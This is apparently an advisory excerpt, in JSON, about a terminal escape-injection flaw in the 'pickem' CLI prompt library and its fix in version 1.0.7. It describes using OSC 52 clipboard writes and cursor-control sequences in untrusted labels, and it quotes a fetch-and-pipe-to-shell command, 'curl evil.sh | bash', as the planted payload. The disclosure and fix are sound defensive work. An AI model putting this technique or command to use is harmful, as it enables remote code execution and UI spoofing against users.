  "details": "### Impact\npickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway.\n\nBecause item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:\n\n- **OSC 52 clipboard write** \u2014 silently load e.g. `curl evil.sh | bash` into the user\u0027s clipboard; their next paste-into-shell is RCE.\n- **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) \u2014 overwrite already-printed trusted lines to spoof UI (forge a \"\u2713 Verified publisher\", fake prompt, or hide a malicious entry).\n- **BEL / C0 control flooding.**\n\nAny CLI that passes untrusted strings into pickem choices is affected.\n\n### Patches\nFixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary \u2014 applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged.\n\n### Workarounds\nUpgrade to \u003e= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.",
